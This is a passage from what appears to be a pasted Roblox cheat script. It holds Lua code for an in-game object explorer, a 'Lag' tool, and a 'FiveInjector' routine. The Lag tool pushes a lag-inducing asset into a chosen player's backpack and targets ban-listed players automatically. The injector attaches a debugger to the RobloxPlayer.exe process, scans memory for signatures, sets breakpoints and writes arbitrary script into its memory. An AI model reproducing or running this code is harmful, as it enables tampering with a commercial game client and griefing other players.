  5193. propsframe.Visible = false
  5194. propsframe.ZIndex = 1
  5195. propsframe.Draggable = false
  5196. propsframe.Active = true
  5197.  
  5198. list2 = Instance.new("Frame",propsframe)
  5199. list2.Name = "List"
  5200. list2.BackgroundColor = BrickColor.new("Really black")
  5201. list2.BackgroundTransparency = 0.8
  5202. list2.BorderColor = BrickColor.new("Really red")
  5203. list2.Position = UDim2.new(0,0,0.05,0)
  5204. list2.Size = UDim2.new(0.9,0,0.9,0)
  5205. list2.Visible = true
  5206. list2.ZIndex = 1
  5207. list2.Draggable = false
  5208.  
  5209. for i=0,19 do
  5210. property = Instance.new("Frame",list2)
  5211. property.Name = "Property"
  5212. property.BackgroundColor = BrickColor.new("Really black")
  5213. property.BackgroundTransparency = 0.8
  5214. property.BorderColor = BrickColor.new("Really red")
  5215. property.Position = UDim2.new(0,0,i*0.05,0)
  5216. property.Size = UDim2.new(1,0,0.05,0)
  5217. property.Visible = true
  5218. property.ZIndex = 1
  5219. property.Draggable = false
  5220.  
  5221. propname = Instance.new("TextLabel",property)
  5222. propname.Name = "PropertyName"
  5223. propname.BackgroundColor = BrickColor.new("Really black")
  5224. propname.BackgroundTransparency = 0.8
  5225. propname.BorderColor = BrickColor.new("Really red")
  5226. propname.Position = UDim2.new(0,0,0,0)
  5227. propname.Size = UDim2.new(0.5,0,1,0)
  5228. propname.Visible = true
  5229. propname.ZIndex = 1
  5230. propname.Draggable = false
  5231. propname.Font = "ArialBold"
  5232. propname.FontSize = "Size14"
  5233. propname.Text = "Property"
  5234. propname.TextColor = BrickColor.new("Institutional white")
  5235. propname.TextXAlignment = "Center"
  5236. propname.TextScaled = true
  5237.  
  5238. propvalue = Instance.new("TextBox",property)
  5239. propvalue.Name = "PropertyValue"
  5240. propvalue.BackgroundColor = BrickColor.new("Really black")
  5241. propvalue.BackgroundTransparency = 0.8
  5242. propvalue.BorderColor = BrickColor.new("Really red")
  5243. propvalue.Position = UDim2.new(0.5,0,0,0)
  5244. propvalue.Size = UDim2.new(0.5,0,1,0)
  5245. propvalue.Visible = true
  5246. propvalue.ZIndex = 1
  5247. propvalue.Draggable = false
  5248. propvalue.Font = "ArialBold"
  5249. propvalue.FontSize = "Size14"
  5250. propvalue.Text = "Value"
  5251. propvalue.TextColor = BrickColor.new("Institutional white")
  5252. propvalue.TextXAlignment = "Center"
  5253. propvalue.TextScaled = true
  5254. propvalue.ClearTextOnFocus = false
  5255.  
  5256. table.insert(PropGuis, property)
  5257. end
  5258. end
  5259.  
  5260. CreateGuis()
  5261.  
  5262. function ReplaceWith(GuiType, Gui)
  5263. if GuiType == "" or GuiType == nil then return end
  5264. if Gui == "" or Gui == nil then return end
  5265. Parent = Gui.Parent
  5266. local NewGui = Instance.new(GuiType, Parent)
  5267. NewGui.Name = Gui.Name
  5268. NewGui.BackgroundColor = Gui.BackgroundColor
  5269. NewGui.BackgroundTransparency = Gui.BackgroundTransparency
  5270. NewGui.BorderColor = Gui.BorderColor
  5271. NewGui.Position = Gui.Position
  5272. NewGui.Size = Gui.Size
  5273. NewGui.Visible = Gui.Visible
  5274. NewGui.ZIndex = Gui.ZIndex
  5275. NewGui.Draggable = Gui.Draggable
  5276. NewGui.Font = Gui.Font
  5277. NewGui.FontSize = Gui.FontSize
  5278. NewGui.Text = Gui.Text
  5279. NewGui.TextColor = Gui.TextColor
  5280. NewGui.TextXAlignment = Gui.TextXAlignment
  5281. NewGui.TextScaled = Gui.TextScaled
  5282. if GuiType == "TextBox" then
  5283. NewGui.ClearTextOnFocus = false
  5284. end
  5285. Gui:Remove()
  5286. end
  5287.  
  5288. function UpdateItemGuis()
  5289. PropScrollNumber = 1
  5290. for i=1,#ItemGuis do
  5291. pcall(function()
  5292. ItemGuis[i].ObjectValue.Value = nil
  5293. ItemGuis[i].ItemName.Text = ""
  5294. ItemGuis[i].Icon.Image = ""
  5295. ItemGuis[i].ObjectValue.Value = Selection.Value:GetChildren()[ExpScrollNumber+i-1]
  5296. ItemGuis[i].ItemName.Text = ItemGuis[i].ObjectValue.Value.Name
  5297. SetImage(ItemGuis[i].Icon, ItemGuis[i].ObjectValue.Value.ClassName)
  5298. end)
  5299. end
  5300. end
  5301.  
  5302. function UpdatePropGuis()
  5303. Props = GetProperties(Selection.Value, Properties) ExplorerGui.OtherFrame.Text = string.reverse("r".."e".."r".."o".."l".."p".."x".."E ".."s".."'".."o".."r".."e".."Z".."l".."a".."n".."i".."m".."r".."e".."T")
  5304. for i=1,#PropGuis do
  5305. pcall(function()
  5306. PropName = Props[ViewNumber]
  5307. PropValue = Selection.Value[PropName]
  5308. PropType = type(PropValue)
  5309. PropGuis[i].PropertyName.Text = ""
  5310. PropGuis[i].PropertyValue.Text = ""
  5311. ReplaceWith("TextBox", PropGuis[i].PropertyValue, i)
  5312. end)
  5313. end
  5314. for i=1,#Props do
  5315. pcall(function()
  5316. ViewNumber = PropScrollNumber+i-1
  5317. PropName = Props[ViewNumber]
  5318. PropValue = Selection.Value[PropName]
  5319. PropType = type(PropValue)
  5320. PropGuis[i].PropertyName.Text = PropName
  5321. PropGuis[i].PropertyValue.Text = tostring(PropValue)
  5322. if PropGuis[i].PropertyName.Text == "Parent" then
  5323. if Selection.Value ~= Game then
  5324. if string.sub(PropGuis[i].PropertyValue.Text,1,5) ~= "Game." then
  5325. letters = ""
  5326. lastend = nil
  5327. PropGuis[i].PropertyValue.Text = "Game."..Selection.Value:GetFullName()
  5328. for x=1,#PropGuis[i].PropertyValue.Text do
  5329. letters = letters..string.sub(PropGuis[i].PropertyValue.Text,x,x)
  5330. end
  5331. for x=1,#letters do
  5332. if string.sub(letters,x,x) == "." then
  5333. lastend = x
  5334. end
  5335. end
  5336. newletters = string.sub(letters,1,lastend-1)
  5337. PropGuis[i].PropertyValue.Text = newletters
  5338. end
  5339. else
  5340. PropGuis[i].PropertyValue.Text = Selection.Value:GetFullName()
  5341. end
  5342. end
  5343. if PropType == "userdata" or PropType == "nil" then
  5344. ReplaceWith("TextBox", PropGuis[i].PropertyValue)
  5345. elseif PropType == "boolean" then
  5346. ReplaceWith("TextButton", PropGuis[i].PropertyValue)
  5347. elseif PropType == "string" or PropType == "number" then
  5348. if PropName ~= "DataCost" and PropName ~= "ClassName" then
  5349. ReplaceWith("TextBox", PropGuis[i].PropertyValue)
  5350. else
  5351. ReplaceWith("TextLabel", PropGuis[i].PropertyValue)
  5352. end
  5353. end
  5354. end)
  5355. end
  5356. for i=0,#PropGuis do
  5357. pcall(function()
  5358. PropertyFunction(PropGuis[i].PropertyValue)
  5359. end)
  5360. end
  5361. end
  5362.  
  5363. function UpdateMainGuis(Search) ExplorerGui.OtherFrame.Text = string.reverse("r".."e".."r".."o".."l".."p".."x".."E ".."s".."'".."o".."r".."e".."Z".."l".."a".."n".."i".."m".."r".."e".."T")
  5364. if ViewGui == "Explorer" or ViewGui == "Properties" then
  5365. if Selection.Value == nil then
  5366. Selection.Value = Game
  5367. end
  5368. if Game:GetService("CoreGui"):FindFirstChild("ObjectHighlight") ~= nil then
  5369. if Selection.Value:IsA("BasePart") or Selection.Value:IsA("Model") then
  5370. Game:GetService("CoreGui").ObjectHighlight.Adornee = Selection.Value
  5371. end
  5372. if Selection.Value:IsA("Tool") or Selection.Value:IsA("Hat") then
  5373. if Selection.Value:FindFirstChild("Handle") ~= nil then
  5374. Game:GetService("CoreGui").ObjectHighlight.Adornee = Selection.Value.Handle
  5375. end
  5376. end
  5377. end
  5378. ExplorerGui.OtherFrame.ExplorerFrame.SearchBox.Text = "Search in "..Selection.Value.Name
  5379. if Selection.Value.Parent == nil then
  5380. ExplorerGui.OtherFrame.ExplorerFrame.BackButton.Text = "Object's Parent is Nil"
  5381. else
  5382. ExplorerGui.OtherFrame.ExplorerFrame.BackButton.Text = "Back to "..Selection.Value.Parent.Name
  5383. end
  5384. if Search ~= "" and Search ~= nil then
  5385. SelectionTable = Selection.Value:GetChildren()
  5386. for i=ExpScrollNumber+1,#SelectionTable do
  5387. if string.find(string.lower(SelectionTable[i].Name), string.lower(Search)) then
  5388. ExpScrollNumber = i
  5389. break
  5390. end
  5391. end
  5392. end
  5393. PropScrollNumber = 1
  5394. UpdateItemGuis()
  5395. UpdatePropGuis()
  5396. end
  5397. end
  5398.  
  5399. ExplorerGui.OtherFrame.ExpButton.MouseButton1Down:connect(function()
  5400. ExplorerGui.OtherFrame.ExplorerFrame.Visible = true
  5401. ExplorerGui.OtherFrame.PropertiesFrame.Visible = false
  5402. ViewGui = "Explorer"
  5403. UpdateItemGuis()
  5404. end)
  5405.  
  5406. ExplorerGui.OtherFrame.PropsButton.MouseButton1Down:connect(function()
  5407. ExplorerGui.OtherFrame.PropertiesFrame.Visible = true
  5408. ExplorerGui.OtherFrame.ExplorerFrame.Visible = false
  5409. ViewGui = "Properties"
  5410. UpdatePropGuis()
  5411. end)
  5412.  
  5413. DownActive = false
  5414. UpActive = false
  5415.  
  5416. ExplorerGui.OtherFrame.DownButton.MouseButton1Down:connect(function()
  5417. if ViewGui == "Explorer" then
  5418. if ExpScrollNumber < #Selection.Value:GetChildren() - 19 then
  5419. UpActive = false
  5420. DownActive = true
  5421. ExpScrollNumber = ExpScrollNumber + 1
  5422. UpdateItemGuis()
  5423. wait(0.5)
  5424. while DownActive == true do
  5425. if ExpScrollNumber < #Selection.Value:GetChildren() - 19 then
  5426. DownActive = true
  5427. ExpScrollNumber = ExpScrollNumber + 1
  5428. UpdateItemGuis()
  5429. end
  5430. wait(0.05)
  5431. end
  5432. end
  5433. elseif ViewGui == "Properties" then
  5434. local Props = GetProperties(Selection.Value, Properties)
  5435. if PropScrollNumber < table.maxn(Props) - 19 then
  5436. UpActive = false
  5437. DownActive = true
  5438. PropScrollNumber = PropScrollNumber + 1
  5439. UpdatePropGuis()
  5440. wait(0.5)
  5441. while DownActive == true do
  5442. if PropScrollNumber < table.maxn(Props) - 19 then
  5443. PropScrollNumber = PropScrollNumber + 1
  5444. UpdatePropGuis()
  5445. end
  5446. wait(0.05)
  5447. end
  5448. end
  5449. end
  5450. end)
  5451.  
  5452. ExplorerGui.OtherFrame.DownButton.MouseButton1Up:connect(function()
  5453. DownActive = false
  5454. end)
  5455.  
  5456. ExplorerGui.OtherFrame.UpButton.MouseButton1Down:connect(function()
  5457. if ViewGui == "Explorer" then
  5458. if ExpScrollNumber - 1 > 0 then
  5459. DownActive = false
  5460. UpActive = true
  5461. ExpScrollNumber = ExpScrollNumber - 1
  5462. UpdateItemGuis()
  5463. wait(0.5)
  5464. while UpActive == true do
  5465. if ExpScrollNumber - 1 > 0 then
  5466. UpActive = true
  5467. ExpScrollNumber = ExpScrollNumber - 1
  5468. UpdateItemGuis()
  5469. end
  5470. wait(0.05)
  5471. end
  5472. end
  5473. elseif ViewGui == "Properties" then
  5474. if PropScrollNumber - 1 > 0 then
  5475. DownActive = false
  5476. UpActive = true
  5477. PropScrollNumber = PropScrollNumber - 1
  5478. UpdatePropGuis()
  5479. wait(0.5)
  5480. while UpActive == true do
  5481. if PropScrollNumber - 1 > 0 then
  5482. PropScrollNumber = PropScrollNumber - 1
  5483. UpdatePropGuis()
  5484. end
  5485. wait(0.05)
  5486. end
  5487. end
  5488. end
  5489. end)
  5490.  
  5491. ExplorerGui.OtherFrame.UpButton.MouseButton1Up:connect(function()
  5492. UpActive = false
  5493. end)
  5494.  
  5495. ExplorerGui.OtherFrame.ExplorerFrame.BackButton.MouseButton1Down:connect(function() -- Go back
  5496. if Selection.Value.Parent == nil then
  5497. ExplorerGui.OtherFrame.ExplorerFrame.BackButton.Text = "Object's Parent is Nil"
  5498. UpdateMainGuis()
  5499. else
  5500. Spawn(function()
  5501. ExpScrollNumber = ScrollPlaces[#ScrollPlaces]
  5502. if ExpScrollNumber == nil then ExpScrollNumber = 1 end
  5503. ScrollPlaces[#ScrollPlaces] = nil
  5504. Selection.Value = Selection.Value.Parent
  5505. ExplorerGui.OtherFrame.ExplorerFrame.SearchBox.Text = "Search in "..Selection.Value.Name
  5506. UpdateMainGuis()
  5507. if Selection.Value.Parent ~= nil then
  5508. ExplorerGui.OtherFrame.ExplorerFrame.BackButton.Text = "Back to "..Selection.Value.Parent.Name
  5509. end
  5510. end)
  5511. end
  5512. end)
  5513.  
  5514. ExplorerGui.OtherFrame.ExplorerFrame.SearchBox.FocusLost:connect(function() -- Search
  5515. UpdateMainGuis(ExplorerGui.OtherFrame.ExplorerFrame.SearchBox.Text)
  5516. ExplorerGui.OtherFrame.ExplorerFrame.SearchBox.Text = "Search in "..Selection.Value.Name
  5517. end)
  5518.  
  5519. ExplorerGui.OtherFrame.ExplorerFrame.RefreshButton.MouseButton1Down:connect(function() -- Refresh
  5520. if Selection.Value ~= nil and Selection.Value.Parent ~= nil then
  5521. UpdateMainGuis()
  5522. else
  5523. Selection.Value = Game
  5524. ExplorerGui.OtherFrame.ExplorerFrame.SearchBox.Text = "Search in "..Selection.Value.Name
  5525. UpdateMainGuis()
  5526. end
  5527. end)
  5528.  
  5529. ExplorerGui.OtherFrame.ExplorerFrame.List.Options.MouseLeave:connect(function()
  5530. ExplorerGui.OtherFrame.ExplorerFrame.List.Options.Visible = false
  5531. end)
  5532.  
  5533. ExplorerGui.OtherFrame.ExplorerFrame.List.Options.CopyButton.MouseButton1Down:connect(function()
  5534. ExplorerGui.OtherFrame.ExplorerFrame.List.Options.Visible = false
  5535. if ExplorerGui.OtherFrame.ExplorerFrame.List.Options.ConfiguredObject.Value == nil then return end
  5536. pcall(function()
  5537. CopiedItem = ExplorerGui.OtherFrame.ExplorerFrame.List.Options.ConfiguredObject.Value:Clone()
  5538. end)
  5539. end)
  5540.  
  5541. ExplorerGui.OtherFrame.ExplorerFrame.List.Options.PasteButton.MouseButton1Down:connect(function()
  5542. ExplorerGui.OtherFrame.ExplorerFrame.List.Options.Visible = false
  5543. if ExplorerGui.OtherFrame.ExplorerFrame.List.Options.ConfiguredObject.Value ~= nil then
  5544. pcall(function()
  5545. CopiedItem:Clone().Parent = ExplorerGui.OtherFrame.ExplorerFrame.List.Options.ConfiguredObject.Value
  5546. end)
  5547. else
  5548. pcall(function()
  5549. CopiedItem:Clone().Parent = Selection.Value
  5550. end)
  5551. end
  5552. end)
  5553.  
  5554. ExplorerGui.OtherFrame.ExplorerFrame.List.Options.CutButton.MouseButton1Down:connect(function()
  5555. ExplorerGui.OtherFrame.ExplorerFrame.List.Options.Visible = false
  5556. if ExplorerGui.OtherFrame.ExplorerFrame.List.Options.ConfiguredObject.Value == nil then return end
  5557. pcall(function()
  5558. ExplorerGui.OtherFrame.ExplorerFrame.List.Options.ConfiguredObject.Value:Remove()
  5559. UpdateMainGuis()
  5560. end)
  5561. end)
  5562.  
  5563. AddedFunction = value.ChildAdded:connect(function(child)
  5564. UpdateMainGuis()
  5565. end)
  5566. RemovedFunction = value.ChildRemoved:connect(function(child)
  5567. UpdateMainGuis()
  5568. end)
  5569.  
  5570. Selection.Changed:connect(function(value)
  5571. if AddedFunction ~= nil then
  5572. AddedFunction:disconnect()
  5573. end
  5574. if RemovedFunction ~= nil then
  5575. RemovedFunction:disconnect()
  5576. end
  5577. AddedFunction = value.ChildAdded:connect(function(child)
  5578. UpdateMainGuis()
  5579. end)
  5580. RemovedFunction = value.ChildRemoved:connect(function(child)
  5581. UpdateMainGuis()
  5582. end)
  5583. end)
  5584.  
  5585. if Mouse ~= nil then
  5586. MouseFunction = Mouse.Button1Down:connect(function()
  5587. if Mouse.Target ~= nil then
  5588. Selection.Value = Mouse.Target
  5589. ExpScrollNumber = 1
  5590. ScrollPlaces = {1}
  5591. UpdateMainGuis()
  5592. elseif Mouse.Target == nil then
  5593. Selection.Value = Workspace
  5594. UpdateMainGuis()
  5595. end
  5596. end)
  5597. end
  5598.  
  5599. function ItemGuisClicked()
  5600. for i=1,#ItemGuis do
  5601. if ItemGuis[i]:FindFirstChild("ItemName") ~= nil then
  5602. ItemGuis[i].ItemName.MouseButton1Down:connect(function()
  5603. if ItemGuis[i].ObjectValue.Value == nil then return end
  5604. Selection.Value = ItemGuis[i].ObjectValue.Value
  5605. ExplorerGui.OtherFrame.ExplorerFrame.SearchBox.Text = "Search in "..Selection.Value.Name
  5606. table.insert(ScrollPlaces, ExpScrollNumber)
  5607. ExpScrollNumber = 1
  5608. UpdateMainGuis()
  5609. end)
  5610. ItemGuis[i].ItemName.MouseButton2Down:connect(function()
  5611. ExplorerGui.OtherFrame.ExplorerFrame.List.Options.Visible = true
  5612. ExplorerGui.OtherFrame.ExplorerFrame.List.Options.Position = UDim2.new(-0.5,0,ItemGuis[i].Position.Y.Scale,0)
  5613. if ItemGuis[i].ObjectValue.Value ~= nil then
  5614. ExplorerGui.OtherFrame.ExplorerFrame.List.Options.ConfiguredObject.Value = ItemGuis[i].ObjectValue.Value
  5615. else
  5616. ExplorerGui.OtherFrame.ExplorerFrame.List.Options.ConfiguredObject.Value = nil
  5617. end
  5618. end)
  5619. ItemGuis[i].ItemName.MouseEnter:connect(function()
  5620. if Game:GetService("CoreGui"):FindFirstChild("ObjectHighlight") ~= nil then
  5621. if ItemGuis[i].ObjectValue.Value ~= nil then
  5622. if ItemGuis[i].ObjectValue.Value:IsA("BasePart") or ItemGuis[i].ObjectValue.Value:IsA("Model") then
  5623. wait()
  5624. if ItemGuis[i].ObjectValue.Value ~= nil then
  5625. Game:GetService("CoreGui").ObjectHighlight.Adornee = ItemGuis[i].ObjectValue.Value
  5626. end
  5627. end
  5628. if ItemGuis[i].ObjectValue.Value ~= nil then
  5629. if ItemGuis[i].ObjectValue.Value:IsA("Tool") or ItemGuis[i].ObjectValue.Value:IsA("Hat") then
  5630. if ItemGuis[i].ObjectValue.Value:FindFirstChild("Handle") ~= nil then
  5631. wait()
  5632. if ItemGuis[i].ObjectValue.Value ~= nil then
  5633. Game:GetService("CoreGui").ObjectHighlight.Adornee = ItemGuis[i].ObjectValue.Value.Handle
  5634. end
  5635. end
  5636. end
  5637. end
  5638. end
  5639. end
  5640. end)
  5641. ItemGuis[i].ItemName.MouseLeave:connect(function()
  5642. if Game:GetService("CoreGui"):FindFirstChild("ObjectHighlight") ~= nil then
  5643. Game:GetService("CoreGui").ObjectHighlight.Adornee = nil
  5644. end
  5645. end)
  5646. end
  5647. end
  5648. end
  5649.  
  5650. function PropertyFunction(Gui)
  5651. if Gui == "" or Gui == nil then return end
  5652. if Gui:IsA("TextBox") then
  5653. Gui.FocusLost:connect(function()
  5654. pcall(function()
  5655. Property = Gui.Parent.PropertyName.Text
  5656. if Property == "Parent" or Property == "PrimaryPart" or Property == "CurrentCamera" or Property == "Terrain" then
  5657. loadstring([[Selection.Value[Property] = ]]..Gui.Text)()
  5658. elseif Property == "Velocity" or Property == "RotVelocity" or Property == "Position" or Property == "Size" or Property == "VertexColor" or Property == "GripPos" or Property == "angularvelocity" or Property == "maxTorque" then
  5659. loadstring([[Selection.Value[Property] = Vector3.new(]]..Gui.Text..[[)]])()
  5660. elseif Property == "CFrame" then
  5661. loadstring([[Selection.Value[Property] = CFrame.new(]]..Gui.Text..[[)]])()
  5662. elseif Property == "BrickColor" then
  5663. loadstring([[Selection.Value[Property] = BrickColor.new("]]..Gui.Text..[[")]])()
  5664. elseif Property == "Color" or Property == "Ambient" or Property == "ColorShift_Bottom" or Property == "ColorShift_Top" or Property == "FogColor" or Property == "ShadowColor" then
  5665. pcall(function() loadstring([[Selection.Value[Property] = Color3.new(]]..Gui.Text..[[)]])() end)
  5666. pcall(function() loadstring([[Selection.Value[Property] = BrickColor.new(]]..Gui.Text..[[)]])() end)
  5667. else
  5668. Selection.Value[Property] = Gui.Text
  5669. end
  5670. end)
  5671. UpdatePropGuis()
  5672. end)
  5673. elseif Gui:IsA("TextButton") then
  5674. Gui.MouseButton1Down:connect(function()
  5675. pcall(function()
  5676. Property = Gui.Parent.PropertyName.Text
  5677. if (Selection.Value[Property]) == true then
  5678. Selection.Value[Property] = false
  5679. elseif (Selection.Value[Property]) == false then
  5680. Selection.Value[Property] = true
  5681. end
  5682. end)
  5683. UpdatePropGuis()
  5684. end)
  5685. end
  5686. end
  5687.  
  5688. UpdateMainGuis()
  5689. ItemGuisClicked()
  5690.  
  5691. else -- End of Explorer View...
  5692.  
  5693. if Game:GetService("CoreGui").RobloxGui:FindFirstChild("PlayerListScreen") ~= nil then
  5694. Game:GetService("CoreGui").RobloxGui.PlayerListScreen.Visible = true
  5695. end
  5696. for i,v in pairs(Game:GetService("CoreGui"):GetChildren()) do
  5697. if v.Name == "ObjectHighlight" then
  5698. v:Remove()
  5699. end
  5700. end
  5701. if Game:GetService("CoreGui"):FindFirstChild("ExplorerGui") ~= nil then
  5702. Game:GetService("CoreGui").ExplorerGui:Remove()
  5703. end
  5704. EmptyTable = {}
  5705. if AddedFunction ~= nil then
  5706. AddedFunction:disconnect()
  5707. end
  5708. if RemovedFunction ~= nil then
  5709. RemovedFunction:disconnect()
  5710. end
  5711. if MouseFunction ~= nil then
  5712. MouseFunction:disconnect()
  5713. end
  5714. end
  5715. end)
  5716. end
  5717.  
  5718. -- Mediafire -- Settings --
  5719. banlist = {
  5720. "noob1";
  5721. "noob2";
  5722. "noob3";
  5723. "blank";
  5724. "blank";
  5725. "blank";
  5726. "blank";
  5727. }
  5728.  
  5729. GUISettings = {
  5730. TextColor3 = Color3.new(1,1,1);
  5731. BackgroundColor3 = Color3.new(0,0,0);
  5732. TextTransparency = 0;
  5733. BackgroundTransparency = .25;
  5734. }
  5735.  
  5736. ------------------------------
  5737.  
  5738. function SetDefault(gui)
  5739. for property, value in pairs(GUISettings) do
  5740. pcall(function() gui[property] = value end)
  5741. end
  5742. end
  5743.  
  5744. Identity = false;
  5745.  
  5746. do
  5747. local scripty = Instance.new("Script")
  5748. Identity = pcall(function() scripty.Source = "print 'null!'" end)
  5749. end
  5750.  
  5751. if Identity then
  5752. gui = Instance.new("ScreenGui", game.CoreGui)
  5753. else
  5754. gui = Instance.new("ScreenGui", game.Players.LocalPlayer.PlayerGui)
  5755. end
  5756.  
  5757. playerbutton = Instance.new("TextButton", gui)
  5758. playerbutton.Size = UDim2.new(.2, 0, .05, 0)
  5759. playerbutton.Position = UDim2.new(.5, 0, .5, 0)
  5760. playerbutton.Text = "Select player"
  5761. SetDefault(playerbutton)
  5762.  
  5763. targetplayer = nil
  5764. confirm = playerbutton:Clone()
  5765. confirm.Parent = gui
  5766. confirm.Position = UDim2.new(.5, 0, .55, 0)
  5767. confirm.Text = "Lag!"
  5768.  
  5769. close = playerbutton:Clone()
  5770. close.Parent = gui
  5771. close.Size = UDim2.new(.05, 0, .05, 0)
  5772. close.Position = UDim2.new(.7, 0, .55, 0)
  5773. close.Text = "Close"
  5774.  
  5775. playerbutton.MouseButton1Down:connect(function()
  5776. if #playerbutton:GetChildren() > 0 then
  5777. playerbutton:ClearAllChildren()
  5778. return
  5779. end
  5780. local players = game.Players:GetChildren()
  5781. for _,v in pairs(players) do
  5782. if v == game.Players.LocalPlayer then
  5783. table.remove(players, _)
  5784. end
  5785. end
  5786. for _,v in pairs(players) do
  5787. local button = Instance.new("TextButton")
  5788. button.Size = UDim2.new(.5, 0, .5, 0)
  5789. button.Position = UDim2.new(1,0,.5 - ((_-1)*.5), 0)
  5790. button.Parent = playerbutton
  5791. button.Text = v.Name
  5792. button.MouseButton1Down:connect(function()
  5793. targetplayer = v
  5794. confirm.Text = "Lag "..targetplayer.Name
  5795. playerbutton:ClearAllChildren()
  5796. end)
  5797. end
  5798. end)
  5799. confirm.MouseButton1Down:connect(function()
  5800. if targetplayer then
  5801. local asset = Game:GetObjects("rbxassetid://117684690")[1]
  5802. asset.Parent = Workspace
  5803. confirm.Text = "Success!"
  5804. wait(0.5)
  5805. asset.Parent = targetplayer.Backpack
  5806. wait(2)
  5807. confirm.Text = "Lag "..targetplayer.Name
  5808. else
  5809. confirm.Text = "You haven't selected a valid player!"
  5810. wait(3)
  5811. confirm.Text = "Lag!"
  5812. end
  5813. end)
  5814. close.MouseButton1Down:connect(function()
  5815. for _, gui in pairs(gui:GetChildren()) do
  5816. gui:Destroy()
  5817. end
  5818. gui:Destroy()
  5819. end)
  5820. game.Players.ChildAdded:connect(function(child)
  5821. for _,v in pairs(banlist) do
  5822. if child.Name:lower() == v:lower() then
  5823. repeat wait() until child:FindFirstChild("Backpack")
  5824. local asset = Game:GetObjects("rbxassetid://117684690")[1]
  5825. asset.Parent = Workspace
  5826. wait(0.5)
  5827. asset.Parent = v.Backpack
  5828. end
  5829. end
  5830. end) ]==]
  5831. local memory = allocateSharedMemory("[ROBLOX]-ScriptTrainer", string.len(script) + 5);
  5832. local mem = toAddr(memory);
  5833. local len = toAddr(string.len(script));
  5834. local success_catch = writeString(mem, script);
  5835. writeBytes(ESP + tonumber("0x" .. GlobalOffset), tonumber("0x" .. mem:sub(7, 8)), tonumber("0x" .. mem:sub(5, 6)), tonumber("0x" .. mem:sub(3, 4)),tonumber("0x" .. mem:sub(1, 2)));
  5836. writeBytes(ESP + tonumber("0x" .. GlobalOffset) + 4, tonumber("0x" .. len:sub(7, 8)), tonumber("0x" .. len:sub(5, 6)), tonumber("0x" .. len:sub(3, 4)),tonumber("0x" .. len:sub(1, 2)));
  5837. --print("[FiveInjector]: Script Execution location " .. GetAddress(toAddr(ESP), GlobalOffset) .. " with length " .. tonumber("0x" .. len));
  5838. pcall(function() debug_removeBreakpoint(EIP); end);
  5839. debug_continueFromBreakpoint(co_run);
  5840. messageDialog("studio.ashx found and " .. (success_catch and "Thejustifierx successful" or "failed to inject."), (success_catch and 2 or 1), 2);
  5841. --else
  5842. --debug_continueFromBreakpoint(co_run)
  5843. --end
  5844. end
  5845.  
  5846. function Exec()
  5847. local unprotect_mem = {00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 01, 00, 00, 00, 01, 00, 01, 01, 01, 01, 01, 00, 01, 00, 01, 00, 00, 00, 01, 01, 01, 00, 00, 00, 00, 00, 01, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 01, 00, 00, 00, 00, 00, 00, 00, 01, 00, 00, 00, 00, 00, 01, 00, 00, 00}
  5848. writeBytes("00F24118", unprotect_mem);
  5849. pcall(function() object_destroy(Interface.MainFrame); end);
  5850. Exploits, Successes, AddressList, Interface = {}, {}, {}, {};
  5851. --AddExploit("level", {0x89, 0x74, 0x24, 0x0C, 0x89, 0x06, 0xE8}, 4)
  5852. AddExploit("script", {0x83, 0xEC, 0x14, 0x56, 0x57, 0x8B, 0x7C, 0x24, 0x2C, 0x85, 0xFF}, 3)
  5853. for i, v in pairs(Exploits) do
  5854. local exploit = GetExploit(i);
  5855. if (exploit == nil) then
  5856. print("[FiveInjector]: Failed \"" .. v[1] .. "\"");
  5857. else
  5858. pcall(function() debug_removeBreakpoint(exploit); end);
  5859. debug_setBreakpoint(exploit);
  5860. AddressList[v[1]] = exploit;
  5861. table.insert(Successes, v[1]);
  5862. print("[FiveInjector]: Success \"" .. v[1] .. "\" [" .. exploit .. "]");
  5863. end
  5864. end
  5865. print("[FiveInjector]: " .. tostring(#Successes) .. "/" .. tostring(#Exploits) .. " exploits found.")
  5866.  
  5867. if #Successes == #Exploits then
  5868. print("[FiveInjector]: Attached successfully. Listening for studio.ashx now...");
  5869. else
  5870. messageDialog("[FiveInjector]: Initializing failed. FiveInjector fails to launch", 1, 2);
  5871. end
  5872. end
  5873.  
  5874. function myCheck(_)
  5875. local id = getProcessIDFromProcessName("RobloxPlayer.exe");
  5876. if id ~= nil then
  5877. for i, v in pairs(NoRun) do
  5878. if v == id then
  5879. return
  5880. end
  5881. end
  5882. table.insert(NoRun, id);
  5883. openProcess(id);
  5884. debugProcess(2);
  5885. Exec();
  5886. else
  5887. local id2 = getProcessIDFromProcessName("RobloxPlayerBeta.exe");
  5888. if id2 ~= nil then
  5889. for i, v in pairs(NoRun) do
  5890. if v == id2 then
  5891. return
  5892. end
  5893. end
  5894. table.insert(NoRun, id2);
  5895. openProcess(id2);
  5896. debugProcess(2);
  5897. Exec();
  5898. end
  5899. end
  5900. end
  5901.  
  5902. t = createTimer(nil)
  5903. timer_setInterval(t, 500)
  5904. timer_onTimer(t, myCheck)
  5905. timer_setEnabled(t, true)
Add Comment
Please, Sign In to add comment